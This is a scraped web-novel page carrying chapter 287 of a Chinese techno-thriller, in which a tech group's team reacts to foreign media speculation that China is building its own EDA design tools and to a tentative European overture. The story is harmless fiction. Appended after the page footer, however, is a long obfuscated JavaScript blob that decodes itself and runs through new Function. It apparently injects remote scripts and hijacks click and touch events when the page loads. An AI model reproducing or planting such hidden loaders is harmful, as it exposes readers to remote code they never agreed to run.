首页
第287章 华夏要自造EDA
返回
关灯 护眼:关 字号:小

第287章 华夏要自造EDA?

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    天还没亮透,海外几家半导体行业观察站的晨报就已经把同一个疑问推上了专业圈的内部订阅页。
    最先出现的,不是结论,而是一种带着克制惊疑的试探性标题:
    「华夏设计工具研究活动异常升温,是否意味着高端EDA替代工程正在启动?」
    紧接着,另一家更激进的技术媒体给出的标题几乎带了点惊呼意味:
    「他们不只是在做晶片和终端——他们可能正在尝试自己造EDA。」
    这些标题还没有形成主流新闻的轰动感,甚至仍停留在产业观察丶科技政策和资本预警的灰色交界带里,但对真正懂行的人来说,这已经足够刺耳。
    因为所有人都知道,设计工具和晶片丶终端不一样。
    终端做出来,可以被解构丶被评测丶被跟踪比较;晶片流片成功,可以被看见参数丶被读懂工艺丶被迅速拉进公开竞争的叙事框架;可EDA不是。那是高端工业体系里最隐蔽丶最难缠丶也最不愿意被后来者轻易染指的一层地下骨架。你平时不会把它摆上发布会主舞台,可一旦有人开始认真碰它,整个产业链的警觉程度会瞬间上升。
    因为那意味着,对方争的已经不只是产品和标准,而是继续设计未来的权力。
    北洲清晨六点,一家长期与火龙联盟关系极近的产业通讯社,发出了一篇措辞格外锋利的短评。文章没有点名任何企业,也没有直接下「华夏已启动自研EDA」的判断,只是把最近几天看似分散的几条线索冷冷拼到了一起:
    国内数家研究机构集中递交与版图异常热点丶复杂约束求解丶自动化规则检查相关论文;
    多所高校突然加速与基础工业软体丶微电子自动化方向的闭门研讨;
    华夏某头部科技集团在遭遇设计工具链限制升级后,内部工程节奏未见迟滞,反而在高复杂终端与晶片叠代线上保持超常推进;
    更值得注意的是,其AI平台近期被业内人士频繁提及,疑似正从制造辅助和终端冲突分析向更底层的工业问题空间深入。
    文章最后一句写得尤其尖锐:
    「如果这些迹象不是巧合,那麽华夏某些力量正在试图回答一个原本只有极少数工业强国才敢问的问题:当外部工具链不再可靠时,能否自己写出一套工具骨架。」
    短短一句话,像是往本已压得极低的水面上扔下一块石头。
    专业论坛丶半导体闭门社群丶科技投资圈丶政策分析团队,几乎在同一时间开始转发。
    有人说这不过是过度联想,是被禁令刺激出来的情绪性猜测;有人说不排除华夏内部做的是局部应急模块,而非完整EDA;也有人冷冷指出,不必等完整替代,只要对方真的在版图优化丶规则检查丶复杂搜索这几段骨架上咬开口子,就足够让人重新评估未来五年的工具链竞争格局。
    而最敏感的,不是公开评论区。
    是那些不出声丶只做记录的机构。
    园区里,中央研究院的封闭区依旧安静得像与世界隔着一道厚墙。走廊灯光冷白,门禁红灯一闪一闪,补天项目组的几间隔离会议室里仍然有人没睡。可这层安静和外部世界正在升温的试探并不矛盾,反而像两条越来越逼近的曲线。
    周明走进总控室时,李明哲已经在看海外舆情回流摘要。
    屏幕上没有任何花哨的版面,只有一页页被迅速压缩过的信息切片:媒体标题丶政策观察机构的非公开评论丶资本端问询记录丶供应商侧风险提示更新,还有几家火龙联盟外围智库在内部会议纪要中出现的同类措辞。
    他只扫了一眼,脸色就沉了下去。
    「比预计快。」周明说。
    李明哲点了点头,声音很低:「而且不是一两家自己猜,是有人在有意识地把线索往一起拢。」
    「火龙联盟?」周明问。
    「未必是他们亲自下场写第一枪。」李明哲把一份摘要推过去,「这种事,他们更擅长让外围先吹风。先用媒体和观察机构制造『行业已察觉异常』的氛围,再等政策端和供应链风控顺势跟上。这样一来,后面不管他们是继续卡授权丶压服务,还是扩大解释口径,都能说成是对『潜在高风险技术替代活动』的正常响应。」
    周明没有接话,只是把屏幕往下拉了一页。
    那里是一条更短丶也更危险的内部消息:
    两家设计工具服务商已开始重新评估华夏区高复杂项目的远程技术支持边界。
    这不算正式限制,却比新闻更像一记刀背先压上来的试探。
    因为真正的围堵很少从「全面切断」开始,往往先从让你感觉到不确定性开始。让你不敢扩环境,不敢升级版本,不敢把后续设计节奏压得太激进,甚至不敢确认某些关键支持会不会在下一次收敛里突然被抽走。
    这种不确定,本身就是武器。
    「陈总呢?」周明问。
    「还在补天区。」李明哲说,「章宸和赵静刚把小芯第一轮局部自动优化结果重新压了一版,林薇也在。」
    周明看了眼时间,没再多说,直接转身去了第七封闭区。
    推门进去时,房间里亮着三面屏幕。
    一面是补天的版图热点识别与候选路径框架,一面是八校联合攻关的最新问题切片,另一面则是刚刚回流的海外媒体监测结果。三块屏幕并排挂在那里,像三条本不该同时出现在一个房间里的战线,如今却硬生生被压到同一间会议室里。
    陈醒站在最中间,没有说话。
    他正在看那几条海外媒体标题,神情很平,几乎看不出任何情绪波动。可熟悉他的人都知道,他越是这样,越说明脑子转得极快。
    林薇最先开口:「外面开始闻到味了。」
    周明把最新摘要放到桌上:「还没形成统一定性,但已经进入『半公开试探』阶段。最危险的不是标题,是后面几家供应商和政策观察机构同步动作的节奏。有人在故意让市场先产生一个印象——华夏不只是想续命,而是想碰工具链根部。」
    赵静闻言,视线从补天界面上挪开了一瞬。
    「小芯这边没有外泄。」她说得很肯定。
    「我知道。」周明看向她,「现在不是谁漏了,而是动静叠得太多。研究所递论文,高校密集进场,工具限制刚升级,未来科技内部主线又没出现任何明显停顿,这些单看都能解释,可一旦有人专门往一起拼,就会拼出现在这个样子。」
    那位来自研究所的中年学者坐在角落里,沉默了几秒,低声道:「说明外面也有懂的人。」
    「当然有。」章宸声音很冷,「只不过他们过去一直觉得,这种事离我们还远。」
    顾楠靠着桌边,脸色发沉:「现在他们开始意识到,我们不是只想把终端做得更强,也不是只想把晶片做得更快。我们是在往『以后还能不能继续设计下一代东西』这件事上顶。」
    房间里静了片刻。
    谁都没否认。
    因为这正是问题最本质的地方。
    国外媒体之所以惊呼,根本不是因为华夏某个方向突然多发了几篇论文,也不是因为一家公司起了个内部项目。真正让他们发冷的,是这些分散动向背后指向的那条更大路线——一条从晶片丶系统丶终端丶制造丶AI平台一直往下探到设计工具根部的工业曲线,正在逐渐闭合。
    而一旦这条曲线闭合,很多过去只掌握在少数联盟手里的定义权,就不再稳了。
    李明哲把另一份舆情判断调上屏幕。
    「现在外面主要有三种说法。」他说,「第一种,觉得这只是禁令刺激下的短期应急,不可能真做出像样的东西;第二种,认为华夏可能会在局部EDA模块上咬出几段骨架,但短期无力构成完整威胁;第三种,最少,但也最危险——他们开始怀疑,未来科技不是在做旧路径替代,而是在试图把AI丶工业方法和自身复杂系统组织经验一起压进设计工具问题空间。」
    赵静眼神一动,抬头看向屏幕。
    这第三种判断,已经接近真正危险的地方了。
    因为一旦外部世界意识到,补天不是机械复制,不是把别人的几十年路径原样抄一遍,而是在尝试用新的工业AI能力和系统级经验改写某些关键环节,那麽接下来的围堵方式就会立刻升级。
    他们不会再只盯制程丶授权和工具版本。
    他们会开始盯认知丶盯叙事丶盯「这种方向是否具有全球技术安全风险」。
    周明显然想到了一样的事:「所以现在最重要的,不是解释我们没做,而是别让他们太快看清我们到底做到了哪一步。」
    「解释没用。」陈醒终于开口。
    屋里几个人同时看向他。
    「这种时候,越解释越像心虚。外面现在不是因为拿到了确凿证据才写这些标题,而是因为他们已经从一堆异常信号里闻到了方向。我们否认不了方向,也不该否认。」他说得很平,「要控的,不是方向本身,而是节奏和深度。」
    林薇微微点头:「也就是说,外部只让他们看到『华夏在重视基础工业软体安全』这一层,不让他们这麽快拼出补天丶小芯丶八校和自动优化之间的真实关系。」
    「对。」陈醒说。
    李明哲立刻接上:「那外部口径就不能低头,也不能挑衅。基调应该是——任何国家在关键基础工业软体上加强研究储备都很正常;技术工具不该被武器化;产业安全与工业连续性是全球议题。我们不去喊『自造EDA』,但也不接受别人把相关研究活动打成可疑行为。」
    周明补了一句:「内部同步切边界。所有涉及补天深层进展的材料再降一档可见范围,尤其是小芯与自动优化版图相关的实验接口,继续只留最小闭环。」
    「高校那边呢?」苏黛问。
    「照常推进。」陈醒回答得没有停顿,「这时候如果谁突然往回缩,反而更像坐实了外面那些猜测。补天不能停,八校不能散,论文节奏也不能乱。」
    他看向章宸。
    「晶片组这边,从今天开始,所有对外能解释为正常设计收敛和工具调优的动作,都按原节奏做。别让外面看出我们内部有任何『被猜中后开始躲』的痕迹。」
    章宸点头,眼神比刚才更沉:「明白。补天照跑,表面节奏不变。」
    「我这边还得再切一层。」赵静说,「小芯组后面所有对外可见任务,优先回到制造辅助丶终端能效和系统协同这些已有方向上。这样即便外面盯,也会先被旧印象牵着走,不会太快碰到版图自动优化这层。」
    那位青年学者也坐直了些:「接口层我们也能再做一层伪装。核心逻辑保留,但日志丶命名和任务表述全部往『复杂约束冲突分析』这类中性方向压。」
    周明直接记下:「今天就改。」
    房间里的空气一点点稳下来。
    不是因为压力消失了,而是因为每个人都迅速回到未来科技最熟悉的战争节奏——不被动辩解,不情绪化表态,不因为外界一惊一乍就乱自己的排布,而是先把真正该藏的藏住,把真正该跑的跑出来。
    可即便如此,所有人也都明白,外部世界开始发出「华夏要自造EDA?」这种惊呼,本身就意味着补天已经进入另一种阶段。
    它再也不是一条纯内部隐线了。
    哪怕大部分真实内容还没显影,哪怕小芯进自动优化版图这一步还在最初级的工程校验里,哪怕补天骨架连第一段完整可嵌入模块都没真正成形——外界的想像已经先一步开始膨胀。
    而围绕这种想像,后面的谈判丶围堵丶认知战丶试探性接触,都会接踵而来。
    中午时分,第一批公开评论开始从专业圈外溢到更大的科技媒体平台。
    有媒体用近乎震惊的语气回顾华夏过去几年在晶片丶系统丶终端和工业制造上的连续突破,然后抛出一个问题:
    「如果他们连设计工具也想自己做,那麽全球技术竞争的边界是不是已经被彻底改写?」
    另一家媒体则更尖锐,把未来科技直接推到聚光灯边缘:
    「这家曾因本地AI计算丶统一算力架构和新终端范式而引发争议的东方科技集团,如今正在被怀疑向EDA这一核心工具领域延伸。这会是下一轮技术脱钩的真正拐点吗?」
    资本市场反应得比新闻更快。
    几家与设计工具服务相关的海外公司午盘前股价出现短时波动,不算大,但足够说明有人已经开始重新评估风险。而北洲某些政策谘询机构更是在内部简报里写下了一句带着明显防范意味的话:
    「必须提前评估华夏在AI辅助设计自动化方向的潜在跃迁路径,不能简单以传统EDA发展周期判断其威胁窗口。」
    这句话传回国内时,连周明都沉默了两秒。
    因为这意味着,对方内部最敏感的一部分人,已经不再把华夏可能的动作理解成「重复落后路径」,而是开始考虑另一种可能性:未来科技也许会用一种不完全相同的方法,把一些原本需要很多年才能走完的骨架建设缩短。
    这才是真正危险的地方。
    下午两点半,补天主会议室没有像往常那样先讨论技术切口,而是先开了一个临时边界会。
    参加的人不多,除了陈醒丶林薇丶周明丶李明哲和几个核心负责人,连八校的主要接口老师也通过隔离终端接了进来。画面里没人显得慌,更多是一种更冷的清醒。
    陈醒没有废话,直接把最新外媒标题放了出来。
    屏幕另一端,有位老教授看完后冷笑了一声:「他们反应倒是快。」
    一位做形式验证的教授更直接:「这说明他们自己知道EDA在体系里有多重。平时这类话题没人看,现在一旦怀疑华夏碰了,他们自己先坐不住。」
    赵静没有参与情绪判断,只问了一句最关键的:「外界惊呼,会不会影响各校继续并进补天的节奏?」
    画面那头短暂安静了一瞬。
    随后,那位最早赶来研究院的老教授看着镜头,缓缓道:「会有压力,但不会有人因为这个退。恰恰相反,越是这样,越说明这条线确实打到了真正值钱的地方。」
    另一位青年学者也点头:「我们进来不是为了安静做个普通课题。外面叫得越厉害,越说明问题有分量。只要未来科技这边不乱节奏,学校这边就按问题继续走。」
    林薇听完,神色没有放松,但眼底显然更定了一些。
    她最担心的不是外面喊,而是外面一喊,内部和外部联合团队自己先乱。现在看,至少这条线还稳得住。
    李明哲这时切入另一个角度:「国外媒体惊呼,是坏事,也是窗口。因为当他们先把『华夏可能在做EDA』这个词抬出来以后,欧洲那边某些一直摇摆的力量,反而会重新评估和未来科技的关系。」
    周明侧头看他:「你是说,他们会开始谈?」
    「不是所有人。」李明哲说,「但会有人动心。尤其是那些本来就对火龙联盟工具武器化不满丶又担心自己在下一轮数字工业秩序里继续被边缘化的力量。他们未必真希望华夏完全独立长成一套闭环,可更不希望北洲把所有关键技术解释权都抓死。」
    陈醒看了他一眼,没有立刻表态。
    林薇却敏锐地抓住了这个变化:「你的意思是,外面的惊呼不一定全变成围堵,也可能倒逼出一部分试探性接触?」
    「对。」李明哲说,「当一件事还只是猜测时,很多人会先围观;可当他们开始怀疑猜测可能是真的,有些人就会立刻想:这条线如果真长出来,我在里面有没有位置,我能不能先谈一个入口。」
    周明皱起眉:「但现在来谈的,未必是朋友。」
    「当然。」李明哲语气很平,「大多数不是朋友,只是利益比以前更复杂了。」
    陈醒终于开口:「那就等他们来。」
    房间里几个人神色同时一动。
    因为这句话的意思很明确——未来科技不会主动因为外媒惊呼去解释,也不会因此慌着亮底牌。但如果外部有人开始试探性接触,他们也不会一概拒绝。
    这不是软化。
    而是从更高一层看问题。
    补天本身是生存战,可围绕补天引发的国际认知波动,却未必只能变成纯防守。某些地方的裂缝,也许反而会因为这场惊呼先露出来。
    会议结束后,外部风向果然继续发酵。
    傍晚五点,一家欧洲技术政策平台刊出了一篇措辞明显不同于北洲媒体的评论。文章没有重复「危险替代」「高风险自主体系」之类说法,反而提出了一个耐人寻味的问题:
    「若关键工业软体持续被地缘政治工具化,全球技术体系是否需要新的互认与安全边界机制?」
    这篇文章发得并不高调,却被李明哲在第一时间标了出来。
    「看见了吗?」他说,「已经有人开始换语言了。」
    周明盯着那篇评论,几秒后低声道:「他们不想让这件事只变成北洲一家的刀。」
    「因为他们也怕。」李明哲答道,「怕今天是华夏,明天轮到自己在别的环节被这样解释丶这样卡。技术工具一旦彻底武器化,谁也不能保证自己永远在刀柄那一侧。」
    陈醒站在窗边,目光越过研究院外逐渐暗下来的天色,没有接话。
    可谁都看得出来,他在想的已经不是「如何应付这一轮外媒惊呼」本身,而是更后面一步:当外部世界因为补天的异动开始重新拆分站位时,未来科技是不是能把这种裂缝利用起来。
    夜里九点,补天区重新恢复到高强度技术推进状态。
    小芯新一轮局部版图自动优化实验继续在跑,八校接口团队按战区各自推进,研究所那边的新一批论文也进入了评审前最后修订。外面的标题越叫越响,里面的人却反而更沉了下来。
    因为每个人都知道,现在最重要的不是回应惊呼,而是跑出真实结果。
    只有真结果,才能决定后面的惊呼到底是空转噪音,还是历史转折的前奏。
    深夜十一点四十,李明哲又收到一条新回流。
    不是媒体,不是资本,也不是供应商。
    而是来自欧洲某技术政策顾问渠道的一句试探性问询:
    「如果围绕关键工业软体的合作不再以单边依附为前提,未来科技是否愿意讨论某种形式的技术互认与安全边界安排?」
    李明哲看完后,没有立刻转发大群。
    他把消息单独送进了封闭会议室。
    屋里灯还亮着。
    陈醒丶林薇丶周明都在,桌上摊着补天最新一版切口推进图。赵静刚从机房出来,眼底带着明显疲意,但神色依旧锋利。章宸也还没走,正在看一段刚刚回传的局部优化校验结果。
    李明哲把终端放到桌上。
    「来了。」他说。
    林薇抬头:「哪边?」
    「欧洲。」李明哲言简意赅,「他们没明说谈什麽,但意思已经很清楚了。他们不想把关键工业软体的未来完全交给北洲那套解释逻辑,现在开始试探,我们这边愿不愿意谈『技术互认』。」
    会议室里一下静了下来。
    外媒惊呼还在发酵,火龙联盟的下一轮舆论反击显然也已在路上,可就在这个当口,欧洲先伸出了一根试探性的手指。
    不是结盟,不是示好。
    只是试探。
    但有时候,一场大局变化,最早显影的,恰恰就是这种带着算计与犹疑的试探。
    陈醒看着那条问询,没有立刻回答。
    他沉默了几秒,目光从终端移到补天白板,再从白板移向窗外已经彻底沉下去的夜色。
    然后,他缓缓开口:
    「先别回绝。」
    「也别急着答应。」
    「让他们再说具体一点。」
    李明哲点头,显然早已预料到会是这个判断。
    周明则更快地意识到了另一层风险:「这件事一旦传出去,火龙联盟那边会立刻把它解读成华夏在借EDA问题撬欧洲。」
    「那就说明他们更急。」陈醒说。
    他的声音不高,却极稳。
    「补天继续跑,外面继续看。谁先坐不住,谁就先暴露自己的真实位置。」
    房间里没有人再说话。
    屏幕上,补天项目的局部自动优化版图路径还在一条条滚动;终端里,海外媒体的惊呼还在一篇篇扩散;而李明哲带来的那条来自欧洲的试探问询,则像一道新的裂缝,悄悄出现在更大的国际棋盘上。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();